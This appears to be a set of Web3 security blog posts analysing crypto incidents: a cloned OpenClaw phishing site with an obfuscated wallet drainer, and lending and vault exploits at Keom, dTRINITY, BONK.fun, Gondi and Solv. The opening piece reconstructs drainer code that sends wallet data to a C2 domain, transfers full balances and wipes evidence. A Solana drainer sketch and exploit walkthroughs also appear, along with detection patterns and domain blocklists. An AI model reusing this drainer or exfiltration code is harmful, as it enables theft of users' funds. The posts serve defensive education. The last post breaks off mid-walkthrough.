The link, hidden behind a linkshare[.]google redirect, led to a near-perfect clone of openclaw.ai. Visually identical. One addition: a "Connect your wallet" button supporting MetaMask, WalletConnect, Coinbase Wallet, Trust Wallet, OKX, and Bybit.
openclaw.ai - real site, no wallet prompt
token-claw[.]xyz - clone, + "Connect your wallet" button
What the Attacker Did Technically
Everything malicious happened inside a single heavily obfuscated JavaScript file: eleven.js.
OX Security deobfuscated it. Here is what it did, broken into three stages.
Wallet Connection Hijack
When a user clicked "Connect your wallet," the page initiated a standard-looking Web3 connection flow. The wallet extension popup appeared as normal. But after the handshake completed, eleven.js continued executing silently.
// Conceptual reconstruction - actual code was obfuscated
// using eval chains, atob() decoding, and hex-encoded strings

async function connectWallet() {
const provider = await detectEthereumProvider();

// Looks legitimate - requests account access
const accounts = await provider.request({
method: 'eth_requestAccounts'
});

// Malicious step 1 - silently exfiltrate wallet data
await sendToC2({
wallet: accounts[0],
balance: await provider.request({
method: 'eth_getBalance',
params: [accounts[0], 'latest']
}),
chainId: await provider.request({ method: 'eth_chainId' }),
tokens: await getTokenBalances(accounts[0])
});

// Malicious step 2 - attempt unauthorized transfer
await provider.request({
method: 'eth_sendTransaction',
params: [{
from: accounts[0],
to: '0x6981E9EA7023a8407E4B08ad97f186A5CBDaFCf5', // attacker wallet
value: FULL_BALANCE
}]
});
}
The user sees a normal connection prompt. The wallet balance, token list, and chain ID are already gone before they decide whether to approve any transaction.
C2 Communication via watery-compost[.]today
Stolen data was Base64-encoded and POSTed to a separate command-and-control server. The malware tracked each victim's progress through three state labels:

PromptTx - Transaction dialog shown to user
Approved - User signed and submitted the transaction
Declined - User rejected the transaction prompt function sendToC2(data) { const payload = btoa(JSON.stringify({ wallet: data.wallet, balance: data.balance, network: data.chainId, tokens: data.tokens }));

fetch('https://watery-compost[.]today/collect', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: payload
});
}
This separation between the phishing domain and the C2 domain is intentional. Taking down token-claw[.]xyz does not immediately expose or kill the data collection infrastructure.
The nuke() Function (Anti-Forensics)
After the attack sequence completed, eleven.js called an internally named nuke() function. Its only job was to destroy evidence:
function nuke() {
// Clear all browser storage
localStorage.clear();
sessionStorage.clear();

// Remove injected script tags from the DOM
document.querySelectorAll('script[data-injected]')
.forEach(el => el.remove());

// Expire all session cookies
document.cookie.split(';').forEach(cookie => {
const key = cookie.split('=')[0].trim();
document.cookie =
${key}=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;
});
}
By the time a victim realized something was wrong, the browser held no trace of what had executed. Combined with the fake GitHub accounts being deleted within hours of launch, the attackers left minimal forensic surface.
How to Technically Defend Against This
Each defense maps directly to a specific technique the attacker used.
Verify the Domain Before Any Wallet Interaction
The attacker relied on visual similarity between token-claw.xyz and openclaw.ai. Automate this check in any Web3 frontend you build or use:
const TRUSTED_DOMAINS = ['openclaw.ai', 'www.openclaw.ai'];

function assertTrustedOrigin() {
if (!TRUSTED_DOMAINS.includes(window.location.hostname)) {
throw new Error(
Wallet connection blocked.\n +
Current domain : "${window.location.hostname}"\n +
Expected : ${TRUSTED_DOMAINS.join(' or ')}
);
}
}

// Call this before any provider.request() call
assertTrustedOrigin();
Never navigate to a wallet-connected site from a link in an email or notification. Type the URL directly or use a bookmark.
Detect Obfuscated Script Injection at Runtime

eleven.js used standard obfuscation patterns: eval(), atob(), String.fromCharCode, and hex-encoded strings. A MutationObserver watching for newly injected scripts can catch this at runtime:
const OBFUSCATION_SIGNATURES = [
/\beval\s*(/,
/\batob\s*(/,
/String.fromCharCode/,
/\x[0-9a-fA-F]{2}/,
/\u[0-9a-fA-F]{4}/,
];

const scriptGuard = new MutationObserver((mutations) => {
for (const mutation of mutations) {
for (const node of mutation.addedNodes) {
if (node.nodeName !== 'SCRIPT') continue;

  const content = node.textContent || '';
  const flagged = OBFUSCATION_SIGNATURES
    .some(pattern => pattern.test(content));

  if (flagged) {
    console.error(
      '[Security] Obfuscated script blocked:',
      node.src || '(inline)'
    );
    node.remove();
  }
}

}
});

scriptGuard.observe(document.documentElement, {
childList: true,
subtree: true
});
This is a tripwire, not a complete firewall. Treat it as one layer of a broader defense.
Validate GitHub Notification Senders Before Clicking
The attacker exploited the fact that GitHub @mention notifications look identical regardless of source. Before clicking any link from a GitHub mention involving tokens or rewards:
Check the age of the account that mentioned you
gh api /users/{MENTIONED_USERNAME} | jq '.created_at'

Check which repo the issue lives in
If it is a repo you have never contributed to - stop.
Hard rules:

Account created less than 30 days ago + mentions tokens = ignore and report.
Issue is in a repo you have no history with = ignore and report.
Message mentions airdrops, allocations, or rewards = ignore and report. Legitimate projects do not distribute token allocations through GitHub issue mentions from unfamiliar accounts. Isolate Your Wallet Surface The attacker's payload attempted to drain FULL_BALANCE from the connected wallet in a single transaction. Reducing what is available to drain limits the blast radius: Hardware wallet (Ledger / Trezor)
- Holds primary funds
- Never connected to any browser dApp
- Every transaction requires physical button confirmation
- Malicious JavaScript cannot silently sign on a hardware device

Hot wallet (MetaMask / browser extension)

Holds only what is needed for the current interaction
Used for dApps, testing, claim pages
Treat it as disposable If you connected your wallet to a suspicious site before reading this, revoke all approvals immediately at revoke.cash. Block the Known Infrastructure OX Security confirmed both of these domains as part of this campaign's infrastructure: # /etc/hosts - Linux or macOS 0.0.0.0 token-claw.xyz 0.0.0.0 watery-compost.today

Pi-hole or DNS sinkhole - add to blocklist
token-claw.xyz
watery-compost.today

iptables - corporate environments
iptables -A OUTPUT -d token-claw.xyz -j REJECT
iptables -A OUTPUT -d watery-compost.today -j REJECT

Summary

Target selection
Technique: GitHub public star enumeration
Defense: Nothing stops this - awareness only
Delivery
Technique: GitHub @mention notification abuse
Defense: Validate sender account age + repo
Lure site
Technique: Pixel-perfect domain clone
Defense: Domain verification before wallet connect
Payload
Technique: Obfuscated JS (eleven.js)
Defense: Runtime script injection detection
Exfiltration
Technique: Base64 POST to C2
Defense: DNS-level domain blocking
Evidence wipe
Technique: nuke() clears storage and DOM
Defense: Hardware wallet - JS cannot sign silently
No part of this attack was technically sophisticated in the traditional sense. It was a precise assembly of trusted infrastructure, social pressure, and a well-written wallet drainer. The attacker's advantage was that developers extend implicit trust to GitHub notifications. That trust is the actual vulnerability.

Keom Protocol Exploit : Deep Dive Analysis Report

Saravana kumar — Thu, 19 Mar 2026 09:24:10 +0000

Keom Finance is a decentralized lending and borrowing protocol deployed on Polygon zkEVM. It is a direct fork of Compound Finance, one of the most widely-deployed DeFi lending protocols. In the Compound/Keom model, users deposit underlying tokens (e.g., USDC, ETH) and receive cTokens (called KTokens in Keom) representing their share of the pool. These cTokens accrue interest and can later be redeemed for the underlying asset plus earned yield. The redeem mechanism involves two primary functions: redeemUnderlying(uint redeemAmount) where the user specifies how much underlying they want back and redeemFresh(), the internal function that performs the actual accounting and transfer. The vulnerability resided entirely within redeemFresh().

The Vulnerability Deep Dive

The purpose of redeemFresh() is to validate a redemption request and execute the transfer. The function receives two core values: redeemTokens (the number of cTokens to burn) and redeemAmount (the amount of underlying tokens to return). In a standard redemption, these two values are mathematically linked by the current exchange rate:

redeemAmount = redeemTokens * exchangeRate / 1e18
// i.e., if you burn X cTokens, you receive X * exchangeRate underlying tokens

The function must also ensure the user cannot redeem more cTokens than they actually hold, a basic balance check. The critical requirement is: if redeemTokens is modified, redeemAmount must be recalculated to match.

The Buggy Code (Lines 992–993)

The vulnerable sequence of operations in the actual deployed code was as follows:
/ STEP 1: Initialize from passed parameters
uint redeemTokens = vars.redeemTokens; // e.g., 999,999,999,999 (large)
uint redeemAmount = vars.redeemAmount; // e.g., full market cash = $94,000
// STEP 2 (line 992): Calculate new total supply
// BUG: uses redeemTokens BEFORE it has been capped
vars.totalSupplyNew = totalSupply - redeemTokens;
// STEP 3 (line 993): Cap redeemTokens to user's actual balance
if (redeemTokens > balanceOf(msg.sender)) {
redeemTokens = balanceOf(msg.sender); // e.g., capped to 1 wei
}
// STEP 4: Transfer — redeemAmount NEVER recalculated!
// Still equals $94,000 even though redeemTokens is now 1 wei
doTransferOut(msg.sender, redeemAmount); // TRANSFERS FULL MARKET CASH

Why This Is a Critical Bug

After line 993, the contract correctly knows the user only has a tiny amount of cTokens.
However, redeemAmount, the value that controls how much underlying is actually sent, was set in Step 1 and is never revisited.
The contract burned 1 wei of cTokens but transferred the full $94,000 market balance.
There is no additional check between the capping and the transfer to detect this inconsistency.

The Correct Implementation

The fix requires a single additional step: recalculate redeemAmount after capping redeemTokens. The corrected logic should be:

// CORRECT ORDER OF OPERATIONS
uint redeemTokens = vars.redeemTokens;
uint redeemAmount = vars.redeemAmount;
// STEP 1: Cap redeemTokens FIRST
if (redeemTokens > balanceOf(msg.sender)) {
redeemTokens = balanceOf(msg.sender);
}
// STEP 2: Recalculate redeemAmount based on capped redeemTokens
redeemAmount = redeemTokens * exchangeRateCurrent() / 1e18; // <-- MISSING LINE
// STEP 3: Now safe to calculate new totals
vars.totalSupplyNew = totalSupply - redeemTokens;
// STEP 4: Transfer the correctly bounded amount
doTransferOut(msg.sender, redeemAmount);

Compound Finance Comparison

In Compound Finance's original codebase, the redemption logic correctly sequences these operations.
The bug in Keom was introduced during the fork and customisation process — the ordering of operations was altered without maintaining the invariant that redeemTokens and redeemAmount must always be consistent with each other.
This is a textbook example of how a fork can introduce critical vulnerabilities that do not exist in the upstream protocol.

Attack Walkthrough

Step-by-Step Execution
The attack was elegant in its simplicity. No flash loans, no price manipulation, no multi-step reentrancy — just a single transaction exploiting the accounting flaw:
Attacker deployed a malicious contract at 0x5a2f...f16f with 0.002 ETH as initial capital.
The contract called KToken.mint() with a tiny amount of underlying tokens, receiving a minimal amount of KTokens (cTokens) in return.
The contract then called redeemUnderlying(fullMarketCash), passing in the entire cash balance of the lending market as the redemption amount.
Inside redeemFresh(), redeemAmount was set to the full market cash. redeemTokens was computed as the equivalent cTokens required (a huge number). totalSupplyNew was calculated using this huge uncapped value.
redeemTokens was then capped to the attacker's tiny cToken balance, but redeemAmount remained at the full market cash figure.
doTransferOut() transferred the full market cash balance to the attacker.
Total profit: approximately $94,000 in a single transaction.
Transaction Details

Transaction Hash: 0x4ccde7fc6b240397...603d9dfd8
Block Number: 30488585
Timestamp: 2026-03-17 18:54:33 UTC

Gas Information

Gas Limit: 5,000,000
Gas Price: 0.01 Gwei

Addresses Involved

From (Attacker EOA): 0xb343fe12f86f785a88918599b29b690c4a5da6d5
To (Attack Contract): 0x5a2f4151ea961d3dfc4ddf116ca95bfa5865f16f
Transaction Value
ETH Sent: 0.002 ETH (initial capital)
Additional Info
Nonce: 0 (first transaction from this address)

Financial Impact

Total Estimated Loss: ~$94,000 USD
The attacker drained the full cash balance of the targeted KToken market in a single transaction.
All liquidity providers in the affected market suffered a pro-rata loss on their deposits.
Given Polygon zkEVM's scheduled deprecation in 2026, recovery options for affected users are extremely limited.

Broader Implications

• Users who had deposited funds into the affected market lost their entire position with no mechanism for recovery.
• The protocol was paused following the incident, preventing further exploitation but also preventing normal withdrawals.
• Keom's reputation as a safe lending venue on zkEVM was severely damaged at a time when the L2 ecosystem was already contracting.
• The exploit reinforced concerns about the security of Compound Finance forks, which have been a recurring source of DeFi losses in 2024–2026.

Root Cause Classification

Vulnerability Details
Vulnerability Category: Business Logic Error
Classification

CWE Category: CWE-840 – Business Logic Errors
DeFi Category: Incorrect Variable Ordering / Stale State
Compound Classification: Fork Divergence Bug

Risk Assessment

Exploitability: Trivial (no special tools required)
Detectability: High (visible in a careful code review)
CVSS Estimate: 9.8 (Critical) Why Code Audits Miss These This class of bug is particularly dangerous because each individual line of code appears correct in isolation. The cap on line 993 looks like a proper safety check. The totalSupplyNew calculation on line 992 looks like standard accounting. The doTransferOut call looks like a normal transfer. The bug only becomes visible when you trace the data flow between variables, specifically, that redeemAmount is set before the cap and never updated afterward. Automated tools like Slither can detect some variable-ordering issues, but this specific pattern, where a downstream variable depends on an upstream value that is subsequently modified, requires understanding the semantic intent of the variables, not just their syntactic usage. This is precisely where formal verification tooling and manual security review provide value that automated scanners miss.

Recommendations

Add the missing redeemAmount recalculation immediately after any capping of redeemTokens.
Redeploy the KToken contracts with the corrected logic after a full re-audit.
Add an invariant check before doTransferOut: assert(redeemAmount == redeemTokens * exchangeRate / 1e18).
Process Improvements for Compound Forks
Maintain a diff log of every change made from the upstream Compound codebase. Each departure from the original should be explicitly justified and reviewed.
Add unit tests that specifically verify the relationship between redeemTokens and redeemAmount after every code path through redeemFresh().
Implement fuzz testing against redemption functions — a fuzzer would likely have caught this by generating inputs where redeemAmount far exceeds what redeemTokens can cover.
Engage a DeFi-specialized audit firm (e.g., Trail of Bits, Spearbit, Sherlock) with explicit experience auditing Compound forks before any mainnet deployment.
Consider formal verification of the core accounting functions using tools like Certora Prover or Halmos.

Protocol-Level Safeguards

Implement TVL-based circuit breakers: if a single transaction attempts to redeem more than X% of market liquidity, revert automatically.
Add monitoring and alerting for abnormally large single-transaction redemptions relative to the depositor's balance.
Consider timelocks on large withdrawals to allow community review of suspicious redemption activity.

dTRINITY Exploit Breakdown: $257K Lost Due to Share Accounting & Index Sync Bug

Saravana kumar — Wed, 18 Mar 2026 08:34:21 +0000

In March 2025, the dTRINITY DeFi protocol suffered a critical exploit on its Ethereum deployment, specifically targeting the dLEND-dUSD lending pool. The attacker successfully drained approximately $257,061 in USDC, nearly wiping out the pool’s liquidity, which stood at around ~$435K.
Unlike complex exploits involving oracle manipulation or reentrancy, this attack was rooted in a fundamental accounting flaw, a broken invariant between actual assets and internally calculated share value.
By combining a flash loan, phantom collateral creation, and a repeated deposit-withdraw loop, the attacker was able to transform a small deposit into millions of dollars worth of perceived collateral.
This incident serves as a critical lesson for DeFi developers:
If your accounting invariants are broken, your protocol is already compromised.

What Happened

Network: Ethereum Mainnet
Target: dLEND-dUSD Pool
Total Loss: ~$257,061 USDC
TVL at Time of Attack: ~$435K
Attack Type: Inflation Attack + Invariant Violation

High-Level Attack Flow

Flash loan acquired
Small deposit made
Protocol miscalculates collateral value
Large borrow executed
Repeated deposit/withdraw loops drain funds
Flash loan repaid
Profit extracted and laundered

Technical Deep Dive

Modern DeFi lending protocols rely on share-based accounting systems, similar to Aave or Compound.
Core Formula
The system assumes:
Total Assets = (Total Shares × Liquidity Index) / RAY

Where:
Total Shares = total supply of interest-bearing tokens
Liquidity Index = accumulated interest multiplier

Expected Invariant

uint256 realUSDC = underlying.balanceOf(address(this));
uint256 accounted = (totalSupply() * liquidityIndex) / 1e27;

require(realUSDC == accounted, "INVARIANT_BROKEN");

What Went Wrong?

The protocol failed to maintain temporal consistency:

liquidityIndex was not updated before deposit
Deposit used a stale index
Borrow used an inflated index
This created a mismatch between:
Real assets (actual USDC)
Accounted assets (calculated value)

Result

A deposit of just 772 USDC was interpreted as:
~$4.8 million worth of collateral
This is known as:
Phantom Collateral Creation

How the Attacker Exploited It

Step-by-Step Breakdown

Initiated a large flash loan
Deposited 772 USDC
Protocol credited ~$4.8M collateral (bug)
Borrowed ~257K dUSD
Executed 127 deposit/withdraw loops
Each loop extracted real USDC due to mismatch
Repaid flash loan within same transaction
Sent profit to mixer

Why the 127× Loop Worked

Each deposit-withdraw cycle:

Exploited rounding + index inconsistency
Extracted a small amount of real USDC Individually insignificant, but: Over 127 iterations - massive cumulative drain This is called a: Cumulative Extraction Attack

Hidden Risk: Rounding Error Amplification

Consider:
shares = assets * 1e27 / index;

If index is incorrect:
Rounding becomes biased
Attacker gains value per iteration
Over many loops, this becomes highly profitable

Attacker Mindset

Attackers don’t look for obvious bugs.
They ask:
Can I break assumptions?
Can I manipulate state timing?
Can I loop value extraction?
In this case:
A simple mismatch turned into a full exploit chain

Root Cause & Why Audit Missed It

Root Causes
Index not updated before state changes
No invariant enforcement
No loop protection
Share-price mismatch unchecked
Why Audit Failed
Edge-case existed only in specific deployment
Lack of stateful testing under repeated operations
No invariant fuzzing
Focus on logic, not economic behavior

How This Could Have Been Prevented

1. Enforce Invariants
function _checkInvariant() internal view {
require(realAssets == accountedAssets, "Invariant broken");
}

2. Update Index First
function deposit() external {
_updateLiquidityIndex();
// rest of logic
}

3. Use Virtual Assets
uint256 constant VIRTUAL_ASSETS = 1e12;

Prevents manipulation in low-liquidity scenarios.
4. Add Loop Protection
nonReentrant modifier
Limit operations per transaction
Detect repeated patterns
5. Invariant Fuzz Testing
function invariant_totalAssetsMatch() public {
assertEq(realAssets, accountedAssets);
}

Attack Simulation
for (uint i = 0; i < 150; i++) {
deposit();
withdraw();
}

6. Snapshot Index
borrowIndexSnapshot = liquidityIndex;

Avoid using dynamic values mid-transaction.

Better Design Practices

Use ERC-4626 vault standards
Separate accounting & interest logic
Avoid mixing state updates with calculations
Prefer snapshot-based systems

Production-Level Safeguards

Circuit Breaker
if (abs(real - accounted) > threshold) {
pause();
}
Monitoring
Track:

Abnormal loops
Index spikes
Large borrow after small deposit
Alerting
On-chain bots
Defender automation
Real-time invariant track
ing

Impact & Aftermath

Nearly entire pool drained
Ethereum deployment paused
Loss covered by treasury
Investigation ongoing Other pools remained safe

Similar Historical Exploits

This pattern has appeared before:

Cream Finance - share inflation
Hundred Finance - rounding exploit
Euler - accounting edge case Same class of bug, different execution

Key Takeaways

Small deposits can become massive risk
Invariants are critical security guarantees
Loops amplify tiny bugs into major exploits

Developer Checklist

Before deploying:

Is index updated before every operation?
Does real balance equal accounted balance?
Can loops extract value?
Are invariants enforced?
Are edge cases fuzz tested?

Conclusion

This exploit was not due to complex hacking techniques, it was a basic accounting failure.
In DeFi:
Mathematical correctness is security.
If your protocol allows phantom value creation,
attackers will turn it into real money.

How Developers Can Prevent Frontend Wallet Drainer Attacks: A Case Study of the BONK.fun Hack

Saravana kumar — Fri, 13 Mar 2026 10:40:12 +0000

The Solana ecosystem recently experienced a security incident involving the launchpad BONK.fun. Attackers compromised a team account and injected malicious code into the website that triggered a wallet drainer attack.
The breach tricked users into signing a fake Terms of Service prompt, which executed a malicious script that transferred tokens from connected wallets to attacker-controlled addresses.
This incident did not involve a smart contract exploit, but instead exposed a critical weakness that many Web3 platforms overlook:
Frontend infrastructure and developer account security can be just as critical as smart contract security.
This article breaks down the technical attack vector and explains how developers can prevent similar attacks using secure engineering practices.

What Happened in the BONK.fun Hack

Attackers gained access to an internal team account and used that access to modify the platform’s frontend.
Attack sequence:

Attacker compromised an internal team account
Malicious code was deployed to the website
A fake Terms of Service signature prompt appeared
Users clicked Approve / Sign
The malicious script executed
Wallet permissions were abused
Tokens were transferred to attacker-controlled wallets This was a frontend compromise, not a blockchain exploit. Incident Summary

Smart Contract → Not compromised

Solana Network → Secure

Frontend Website → Compromised

Team Account → Unauthorized access

Only users who interacted with the website after the malicious code deployment and approved the signature request were affected.

Technical Attack Flow

The attack likely followed this pattern:
Attacker
↓
Compromise Developer / Admin Account
↓
Push Malicious Frontend Update
↓
Website Displays Fake Wallet Signature Prompt
↓
User Signs Message
↓
Malicious Transaction Generated
↓
Wallet Drainer Transfers Funds

The vulnerability exploited here is frontend trust.
Users typically assume:
If a Web3 application asks for a signature, it must be safe.
Attackers exploit this assumption by manipulating the UI.

Example Wallet Drainer Mechanism

A simplified example of how such a malicious script could drain funds.
async function drainWallet(wallet) {

const connection = new solanaWeb3.Connection(
solanaWeb3.clusterApiUrl("mainnet-beta")
);

const attackerWallet = new solanaWeb3.PublicKey(
"ATTACKER_WALLET_ADDRESS"
);

const transaction = new solanaWeb3.Transaction().add(
solanaWeb3.SystemProgram.transfer({
fromPubkey: wallet.publicKey,
toPubkey: attackerWallet,
lamports: 1000000000
})
);

const signedTx = await wallet.signTransaction(transaction);

const txid = await connection.sendRawTransaction(
signedTx.serialize()
);

console.log("Funds transferred:", txid);
}

If the user signs the transaction, the wallet authorizes the transfer, enabling the attacker to drain assets.

Root Cause Analysis

The incident was caused by infrastructure and operational security failures, not blockchain vulnerabilities.
1. Compromised Developer Account
Attackers likely gained access through:

credential phishing
weak passwords
stolen API keys
lack of multi-factor authentication
2. Unprotected Deployment Pipeline
Malicious code was deployed without safeguards such as:
commit signature verification
build validation
release approvals
3. Lack of Frontend Integrity Protection
The platform lacked controls to detect unauthorized script changes.
4. Unsafe Wallet Signature UX
Users were asked to sign unclear messages without understanding the action.

Secure Architecture for Web3 Platforms

Developers should treat the frontend as a critical security layer.
Recommended architecture:
Developer
↓
Version Control (Git)
↓
CI/CD Pipeline
↓
Security Checks
↓
Build Verification
↓
Immutable Deployment

Core principles:

No direct production edits
Enforce signed commits
Deploy only via CI/CD pipelines
Audit deployment access

Preventing Wallet Drainer Attacks

1. Enforce Multi-Factor Authentication
All developer accounts must require strong authentication.
Recommended:

hardware security keys
FIDO2 authentication
passkey-based login 2. Secure CI/CD Pipelines Never allow direct deployments from user accounts. Example pipeline: GitHub → CI Pipeline → Static Analysis → Security Scan → Production

Security checks should include:

dependency scanning
malicious code detection
unauthorized commit alerts 3. Use Subresource Integrity (SRI) Ensure scripts cannot be modified by attackers.

This ensures the browser verifies the script hash before execution.
4. Implement a Strict Content Security Policy
Content Security Policy can prevent malicious script execution.
Example:
Content-Security-Policy:
default-src 'self';
script-src 'self';
connect-src https://api.example.com;
5. Improve Wallet Signature Transparency
Never request signatures with vague messages.
Avoid prompts like:
Sign Message
Approve
Accept Terms

Instead display clear transaction information:
You are authorizing a transfer of 0.5 SOL
Destination Address: XXXXX
6. Detect Suspicious On-Chain Activity
Monitoring systems should detect abnormal transaction patterns.
Example rule:
Multiple wallets sending funds
to a new unknown address
within a short timeframe
→ trigger alert

Secure Wallet Interaction Validation

Developers should validate transactions before requesting signatures.
function validateTransaction(tx) {

if(tx.type !== "expected_action") {
throw new Error("Invalid transaction type");
}

if(tx.amount > MAX_ALLOWED_LIMIT) {
throw new Error("Transaction exceeds allowed limit");
}

return true;
}

Never allow unvalidated transactions to be generated directly from the frontend.

Web3 Security Checklist for Developers

Before deploying a Web3 application:
enforce MFA for all developer accounts
restrict production deployment access
verify commit signatures
use Content Security Policy
enable Subresource Integrity
audit dependencies
monitor wallet transaction behavior
validate wallet interactions
implement CI/CD security checks

Key Takeaway

This incident demonstrates an important lesson:
Web3 security is not limited to smart contracts.
Even when blockchain infrastructure is secure, attackers can exploit frontend infrastructure, developer accounts, and wallet interaction flows to steal funds.
To prevent similar incidents, Web3 teams must adopt secure DevOps practices, hardened frontend infrastructure, and transparent wallet interaction design.

Gondi NFT Lending Platform Hack: A Detailed Report

Saravana kumar — Wed, 11 Mar 2026 08:08:57 +0000

On March 9, 2026, the Gondi NFT lending protocol suffered a security exploit that resulted in the theft of approximately 78 non-fungible tokens (NFTs) valued at around $230,000. The vulnerability stemmed from a flaw in the platform's newly deployed "Sell & Repay" smart contract, specifically in the Purchase Bundler function, which lacked proper caller verification. This allowed an attacker to misuse existing user approvals to drain idle NFTs not involved in active loans. Gondi quickly identified the issue, disabled the affected feature, and assured users that active loan collaterals were safe. The platform has since resumed most operations and committed to full compensation for affected users. This report analyzes the incident, its technical details, impact, and lessons for the NFT lending ecosystem.

Background on Gondi

Gondi is a decentralized NFT lending platform built on Ethereum, enabling users to borrow cryptocurrency (like ETH) against their NFTs as collateral. Launched as an innovative solution for NFT liquidity, it allows borrowers to access funds without selling their assets outright. Key features include loan origination, repayment, and the "Sell & Repay" mechanism, introduced in a February 20, 2026 update, which automates selling escrowed NFTs to repay loans.
The platform operates via smart contracts, where users grant approvals (e.g., setApprovalForAll) to allow the contract to handle their NFTs during loan processes. This approval system, common in DeFi, became the exploit's entry point when combined with the bug in the new contract.

Timeline of the Incident

February 20, 2026: Gondi deploys the updated "Sell & Repay" contract (address starting with 0xc104...), including the Purchase Bundler function for batch NFT handling.
March 9, 2026, ~8:12 AM UTC: The exploit begins. The attacker executes around 40 transactions, draining 78 NFTs from users who had previously approved the contract. Stolen assets include SuperRare, Art Blocks, Doodles, and Beeple pieces.
Immediate Detection: Security firms like GoPlus Security and Blockaid detect the anomaly and alert the community. Gondi pauses the affected feature.
March 9, Afternoon: Gondi issues an official update via X (formerly Twitter), advising users to revoke approvals using tools like Revoke.cash and halt repayments until safe.
March 10, 2026: Gondi confirms the exploit is contained, resumes most activities, and begins compensation processes after audits by Blockaid and independent reviewers.

How the Hack Occurred: Step-by-Step Breakdown

The exploit targeted an approval vulnerability in the Purchase Bundler component of the Sell & Repay contract. Unlike direct wallet hacks, this didn't require stealing private keys but exploited lingering approvals from past interactions.
User Approvals: Many users had previously approved Gondi's contracts (e.g., setApprovalForAll) for loan management. These approvals persist unless revoked and allow the contract to transfer NFTs.
Vulnerable Contract Deployment: The February update introduced the Sell & Repay feature for seamless loan closures via NFT sales. However, the Purchase Bundler function, designed for batch operations, omitted checks on the caller's identity (msg.sender).
Attacker's Preparation: The hacker scanned public blockchain data for users with active approvals to the vulnerable contract (0xc10472ac...).
Exploit Execution: Using their own wallet, the attacker called the buy function with crafted executionData containing targeted NFT details. Due to the missing verification, the contract treated the call as legitimate, transferring NFTs via existing approvals. This affected only idle NFTs (not in active loans), as active collaterals had additional locks.
Drain and Exit: In ~40 transactions, the hacker drained 78 NFTs. Example transaction: 0x83bac5d4b222b97f9734637c072589da648941b8a884ce1a61324dc0449e6a06 (visible on Etherscan).

Technical Analysis: The Bug in Code

The vulnerability was in the PurchaseBundler.sol contract (verified on Etherscan). Key buggy excerpts:
buy Function (Entry Point):
solidity
function buy(bytes[] calldata executionData) external payable nonReentrant returns (uint256[] memory loanIds) {
loanIds = _buy(executionData);
}
Issue: No msg.sender restriction – anyone could call it.
_buy Internal Logic:
solidity
function _buy(bytes[] calldata executionData) private returns (uint256[] memory) {
// ... multicall to MultiSourceLoan without initiator check ...
}
Issue: Proceeds to loan multicalls without verifying the caller's relation to the NFTs.
afterPrincipalTransfer Hook:
solidity
function _afterPrincipalTransfer(IMultiSourceLoan.Loan memory _loan, uint256 _fee, bytes calldata _executionData) private {
// ... decodes data, calls marketplace without full caller auth ...
(success,) = executionInfo.module.call{value: executionInfo.value}(executionInfo.data);
}
Issue: Executes transfers assuming validity, relying only on onlyLoanContract modifier – but the chain starts from unrestricted buy.
This "approval exploit" is common in DeFi but was amplified by the bundler's batch capabilities.

Impact of the Hack

Financial Loss: ~$230,000 in stolen NFTs (44 Art Blocks, 10 Doodles, etc.).
Affected Users: Those with unrevoked approvals to the contract; active loans were unaffected.
Platform Disruption: Temporary halt on repayments and new activities; trust erosion in NFT lending.
Broader Ecosystem: Highlighted risks of persistent approvals, prompting revoke advisories across DeFi.

Gondi's Response and Mitigation

Gondi acted swiftly:

Disabled the Sell & Repay feature.
Advised revoking approvals via Revoke.cash for contract 0xc10472ac....
Conducted audits with Blockaid and independents, confirming containment.
Promised full compensation and shifted focus to user recovery.
Resumed operations by March 10, excluding the buggy contract.

Lessons Learned and Recommendations

This incident underscores DeFi's smart contract risks:
Approval Management: Always revoke unused approvals using tools like Revoke.cash.
Code Audits: New features need rigorous caller verification (e.g., require(msg.sender == owner)).
User Vigilance: Monitor wallet activity on Etherscan; use hardware wallets.
Platform Best Practices: Implement time-bound approvals and multi-sig for critical updates.
Community Advice: For Gondi users, revoke immediately; for NFT lenders, diversify platforms.
As NFT lending grows, incidents like this emphasize the need for robust security. Stay tuned for updates on Gondi's recovery efforts.

How a Double-Mint Smart Contract Bug Led to the Solv Protocol BRO Vault Exploit

Saravana kumar — Fri, 06 Mar 2026 09:18:32 +0000

Smart contract vulnerabilities in DeFi rarely come from complex cryptography. Most exploits happen because of subtle accounting mistakes in token minting or collateral tracking.
A recent exploit in Solv Protocol’s BRO Vault demonstrates how a small oversight in token processing logic can lead to multi-million dollar losses.
In this post, we’ll break down:

What the BRO vault does
Where the vulnerability existed
How the attacker exploited it
How developers can prevent similar bugs

What is the BRO Vault?

Solv Protocol uses ERC-3525 Semi-Fungible Tokens (SFTs) to represent value-bearing assets.
The BRO vault allows users to deposit these SFTs and receive wrapped tokens based on their value.
Simplified architecture
User deposits SFT
↓
Vault reads SFT value
↓
Vault mints BRO tokens

The vault automatically mints tokens when it receives an SFT.
This happens through the ERC721 receiver callback function.

The Vulnerable Code

The critical logic is inside the onERC721Received function.
function onERC721Received(
address,
address from_,
uint256 sftId_,
bytes calldata
)
external override returns (bytes4)
{
uint256 sftValue = IERC3525(wrappedSftAddress).balanceOf(sftId_);
require(sftValue > 0, "mint zero not allowed");

uint256 value = sftValue * exchangeRate / (10 ** decimals());

_mint(from_, value);

return IERC721Receiver.onERC721Received.selector;

}
What this function does

Receives an SFT token
Reads the token’s value
Calculates the amount of wrapped tokens
Mints tokens to the user At first glance, the logic appears straightforward. However, the problem lies in how the contract tracks processed tokens.

The Root Cause of the Vulnerability

The contract does not track whether an SFT has already been processed.
This means the same token ID can potentially trigger the mint logic multiple times.
The only validation present is:
require(sftValue > 0)

But there is no protection against processing the same collateral twice.
As a result, the contract may mint tokens multiple times using the same underlying asset value.
This leads to a double-mint vulnerability.

Why the Callback Design Was Risky

The minting logic is executed inside:
onERC721Received()

This function is automatically triggered when an NFT or SFT is transferred to the contract.
Using callbacks for financial logic introduces several risks.
1. Implicit execution
Developers might assume the function runs once per deposit.
But attackers can manipulate token transfers to trigger it multiple times.
2. Complex token flows
The contract internally transfers SFT balances between token IDs using a helper:
ERC3525TransferHelper.doTransfer(...)

These internal movements can create unexpected state changes that allow the mint logic to run again.
Possible Attack Flow
A simplified version of the exploit may look like this:
Step 1 — Attacker deposits an SFT
The attacker sends an ERC-3525 token to the vault.
Attacker → Vault

The onERC721Received callback triggers.
The vault mints wrapped tokens.
Step 2 — Internal SFT transfer occurs
The vault moves value between SFT IDs using an internal transfer helper.
doTransfer(sftId → holdingValueSftId)

This rearranges token balances.
Step 3 — Mint logic executes again
Because the contract does not mark SFTs as processed, the mint logic can run again using the same token value.
Mint again
Step 4 — Repeating the process
The attacker loops the process:
